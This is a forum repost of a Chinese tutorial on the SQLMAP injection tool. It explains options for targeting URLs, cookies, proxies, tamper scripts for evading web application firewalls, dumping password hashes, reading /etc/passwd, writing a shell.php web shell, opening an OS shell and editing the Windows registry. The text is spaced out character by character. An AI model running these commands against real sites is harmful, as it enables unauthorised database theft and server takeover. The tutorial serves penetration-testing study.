设为首页收藏本站
切换到窄版

 找回密码
 立即注册
搜索
热搜: 活动 交友 discuz
Nmaps Club»论坛 › Pentests Wiki › Wiki › 系统 › [18759] 2017-08-30_kali工具合集（五）-SQLMAP的使用 ...
返回列表 发新帖
查看: 1|回复: 0

[18759] 2017-08-30_kali工具合集（五）-SQLMAP的使用

[复制链接]
s7ckTeam

6万

主题

-6万

回帖

-58

积分

管理员

积分
-58
发表于 5 天前 | 显示全部楼层 |阅读模式
2017-08-30_kali工具合集（五）-SQLMAP的使用 k a l i   工 具 合 集 （ 五 ） - S Q L M A P 的 使 用 c r h u a   h u a s e c   2 0 1 7 - 0 8 - 3 0 0 x 0 0         前 言 前 言           不 管 对 于 新 手 小 白 ， 还 是 圈 内 大 佬 ， S Q L M A P   都 是 一 款 非 常 强 大 渗 透 测 试 工 具 ， 它 的 主 要 功 能 是 对 s q l 注 入 的 检 测 和 利 用 ， 然 而 很 多 人 对 于 S Q L M A P   ， 只 是 很 简 单 的 几 个 命 令 的 使 用 ， 对 于 它 的 其 他 功 能 却 知 之 甚 少 。 0 x 0 1         安 装 、 升 级 安 装 、 升 级 g i t   c l o n e   h t t p : / / g i t h u b . c o m / s q l m a p p r o j e c t / s q l m a p . g i t s q l m a p   - - u p d a t e       在 线 升 级 g i t   p u l l     离 线 升 级 0 x 0 2         命 令 介 绍 命 令 介 绍 - h               查 看 帮 助 文 档 - h h           查 看 更 加 详 细 的 帮 助 文 档 （ 本 文 基 于 这 个 ） T A R G E T ( 扫 描 目 标 扫 描 目 标 )         G e t   方 法 s q l m a p   - u   " h t t p : / / 1 . 1 . 1 . 1 / c ? i d = 1 "   - p   i d   - f - p       指 定 参 数 - f           列 出 指 纹 信 息 P O S T   方 法 b u r p 抓 包 并 保 存 ( r e q u e s t . t x t ) s q l m a p   - r   r e q u e s t . t x t     扫 描 U R L     列 表 文 件 将 要 扫 描 的 u r l     逐 条 保 存 于 文 本 文 档 ( u r l _ l i s t . t x t ) ， 一 行 一 条 记 录 s q l m a p   - m   u s r _ l i s t . t x t 扫 描 b u r p     l o g   文 件 b u r p   - l   b u r p . l o g 扫 描 g o o g l e 搜 索 结 果 s q l m a p   - g   " i n u r l : ? i d = 1 " h t t p s   注 入 s q l m a p   - u   " h t t p : / / 1 . 1 . 1 . 1 / c ? i d = 1 "   - - f o r c e - s s l         R E Q U E S T ( 扫 描 请 求 扫 描 请 求 )   - - d a t a       数 据 段 ( 适 用 于 g e t / p o s t ) s q l m a p   - u   " h t t p : / 1 . 1 . 1 . 1 / a . p h p "   - - d a t a = " u s e r = 1 & p a s s = 1 "   - f       - - p a r a m - d e l         变 量 分 割 符 号     ( 一 般 u r l   参 数 之 间 用 &   连 接 ， 但 是 不 乏 一 些 特 别 的 u r l , 如 用   ；   / /   ：   连 接 的 ， 要 测 试 这 些 站 点 ， 这 个 参 数 就 派 上 用 场 了 ) s q l m a p   - u   " h t t p : / / 1 . 1 . 1 . 1 / a . p h p ? i d = 1 ; n a m e = c r h u a "   - - p a r a m - d e l = " ; "   - f
- - c o o k i e   w e b 应 用 需 要 基 于 c o o k i e 的 身 份 验 证 s q l m a p   - u   " h t t p : / / 1 . 1 . 1 . 1 / a . p h p ? i d = 1 "   - - c o o k i e = " s e s s i o n = 2 2 2 "     - f - - u s e r - a g e n t       设 置 u s e r - a g e n t s q l m a p   - u   " h t t p : / / 1 . 1 . 1 . 1 / a . p h p ? i d = 1 "   - - u s e r - a g e n t = " M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W O W 6 4 ;   r v : 5 4 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 4 . 0 " - - r a n d o m - a g e n t       扫 描 时 候 使 用 随 机 u s e r - a g e n t 默 认 路 径   / u s r / s h a r e / s q l m a p / t x t / u s e r - a g e n t s s . t x t s q l m a p       检 测 u s e r - a g e n t   中 的 注 入 点   ： l e v e l   > = 3 s q l m a p   - u   " h t t p : / / 1 . 1 . 1 . 1 / a . p h p ? i d = 1 "   - - r a n d o m - a g e n t     - f       - - h e a d e r s           额 外 的 h e a d e r   头 s q l m a p   - u   " h t t p : / / 1 . 1 . 1 . 1 / a . p h p ? i d = 1 "   - - h e a d e r s = " H o s t : w w w . c r h u a . c o m n U s e r - A g e n t : c r h u a " 注 ： 检 测 H o s t   头 注 入 点       l e v e l   = 5 检 测 R e f e r e r   头   注 入 点       l e v e l   > =   3 h t t p 协 议 认 证 认 证 类 型           B a s i c         D i d e s t       N T M L s q l m a p   - u   " h t t p : / / 1 . 1 . 1 . 1 / a . p h p ? i d = 1 "   - - a u t h - t y p e   B a s i c   - - a u t h - c r e d   " u s e r : p a s s " h t t p ( s )     代 理 - - p r o x y = " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 7 " - - p r o x y - c r e d = " u s e r : p a s s "   需 要 登 陆 的 代 理 - - i g n o r e - p r o x y               忽 略 系 统 级 代 理 ， 通 常 用 于 本 地 网 络 扫 描 s q l m a p   - u   " h t t p : / / 1 . 1 . 1 . 1 / a . p h p ? i d = 1 "   - - p r o x y = " h t t p : / / 1 2 7 . 0 . 0 . 1 : 8 0 8 7 "         - f   - - d e l a y 每 次 h t t p ( s )   请 求 之 间 的 延 迟 时 间 ， 默 认 无 延 迟   - - t i m e o u t   请 求 超 时 时 间 ， 默 认 3 0 s - - r e t r i e s h t t p ( s )   连 接 超 时 重 试 次 数 ， 默 认 3 次   - - s a f e - u r l   /   - - s a f e - f r e q 检 测 和 盲 注 阶 段 会 发 送 大 量 的 失 败 请 求 ， 服 务 端 可 能 会 销 毁 s e s s i o n , 每 发 送   - - s a f e - f r e q 次 注 入 请 求 之 后 ， 发 送 一 次 正 常 请 求 O P T I M I Z A T I O N ( 优 化 性 能 优 化 性 能 ) - - p r e d i c t - o u t p u t 根 据 测 试 返 回 的 内 容 与 统 计 表 ( u s r / s h a r e / s q l m a p / t x t / c o m m o n - o u t p u t s . t x t )   比 对 ， 缩 小 检 测 范 围 ， 提 高 效 率 - - k e e p - a l i v e 使 用 h t t p ( s )   长 连 接 ， 性 能 好 ， 但 是 会 占 用 服 务 器 资 源 - - t h r e a d s 最 大 并 发 线 程 ， 默 认 为 1 ， 建 议 不 要 超 过 1 0 I N J E C T I O N ( 注 入 ） 注 入 ）
- - s k i p 排 除 指 定 参 数 U R I   注 入 点 在 要 检 测 的 注 入 点 处   加   *   号 ， 伪 静 态 注 入 亦 如 此 s q l m a p     - u   " h t t p : / / 1 . 1 . 1 . 1 / p a r a m 1 / v a l u e 1 * / p a r a m 2 / v a l u e 2 " - - i n v a l i d - b i g n u m   /   - - i n v a l i d - l o g i c a l 通 常 s q l m a p   注 入   使 用 负 值 使 参 数 失 效   i d = 1   - - >     i d = - 1 - - i n v a l i d - b i g n u m         使 用 大 数 值 使 参 数 失 效     i d = 9 9 9 9 9 9 9 9 - - i n v a l i d - l o g i c a l             使 用 布 尔 使 参 数 失 效       i d = 1     A N D   1 = 2 - - p r e f i x   /   - - s u f f i x 前 缀   /   后 缀     需 要 知 道 s q l   语 句 $ q u e r y   =   " s e l e c t   *   f r o m   c r h u a   w h e r e   i d   =   ( ' " . $ _ G E T [ ' i d ' ] . " ' )     l i m i t   0 , 1 "   s q l m a p     - u   " h t t p : / / 1 . 1 . 1 . 1 / a . p h p ? i d = 1 "   - - p r e f i x = " ' ) "     - - s u f f i x = " A N D   ( ' a ' = ' a   " - - t a m p e r 脚 本 ， 用 于 绕 过 W A F s q l m a p     - u     " h t t p : / / 1 . 1 . 1 . 1 / a . p h p ? i d = 1 "   - - t a m p e r = " s a f e d o g . p y " ( 回 复 t a m p e r 获 得 相 关 资 料 ) - - l e v e l   1 - 5   级   默 认 1 - - r i s k     1 - 4     默 认 1       r i s k 升 高 可 造 成 数 据 被 篡 改 的 风 险 E N U M E R T I O N ( 枚 举 枚 举 ) - a   列 出 所 有 内 容 - - c u r r e n t - u s e r   数 据 库 当 前 用 户 - - c u r r e n t - d b   当 前 数 据 库 名 - - p a s s w o r d s   枚 举 数 据 账 户 密 码 的 h a s h 值 - - s q l - s h e l l         获 得 一 个 S Q L   s h e l l - - s q l - q u e r y = Q U E R Y   执 行 一 个 S Q L   语 句 f i l e _ s y s t e m 文 件 系 统 文 件 系 统 - - f i l e - r e a d = " / e t c / p a s s w d " - - f i l e - w r i t e = " s h e l l . p h p "   - - f i l e - d e s t = " / t m p / s h e l l . p h p " ( 写 入 文 件     写 入 地 址 ） o s   操 作 系 统 操 作 系 统 - - o s - s h e l l     - - o s - c m d w i n d o w s   注 册 表 注 册 表 - - r e g - r e a d - - r e g - a d d - - r e g - d e l - - r e g - k e y - - r e g - v a l u e - - r e g - d a t a - - r e g - d a t a - - r e g - t y p e s q l m a p   – u = " h t t p : / / 1 . 1 . 1 . 1 / a . a s p x ? i d = 1 "   - - r e g - a d d   - - r e g k e y = " H K E Y _ L O C A L _ M A C H I N E S O F T W A R E s q l m a p "   - - r e g - v a l u e = T e s t   - r e g -
t y p e = R E G _ S Z   - - r e g - d a t a = 1   ( 关 于 注 册 表 我 这 里 有 全 英 资 料 ， 回 复 " r e g " 获 得 ) 其 他 命 令 - - c h a r s e t   强 制 字 符 编 码 - - f l u s h - s s e s s i o n     清 除 s e s s i o n - - c h e c k - w a f   检 查 w a f / i d s / i p s - - h p p     h t t p   渲 染 - - w i z a r d   人 性 化 提 示 使 用 0 x 0 3         结 语 结 语         这 篇 文 章 主 要 介 绍 S Q L M A P   从 选 定 目 标 到 注 入 之 间 的 一 系 列 命 令 ， 熟 练 运 用 这 些 命 令 ， 会 对 自 己 的 能 力 有 所 提 升 ， 在 日 常 练 习 中 也 会 事 半 功 倍 。 想 要 了 解 更 多 就 关 注 我 吧 。
回复

举报

返回列表 发新帖
高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver|手机版|小黑屋|Nmaps Club

GMT+8, 2025-1-23 10:41 , Processed in 0.178937 second(s), 29 queries .

Powered by Discuz! X3.5

© 2001-2025 Discuz! Team.

快速回复 返回顶部 返回列表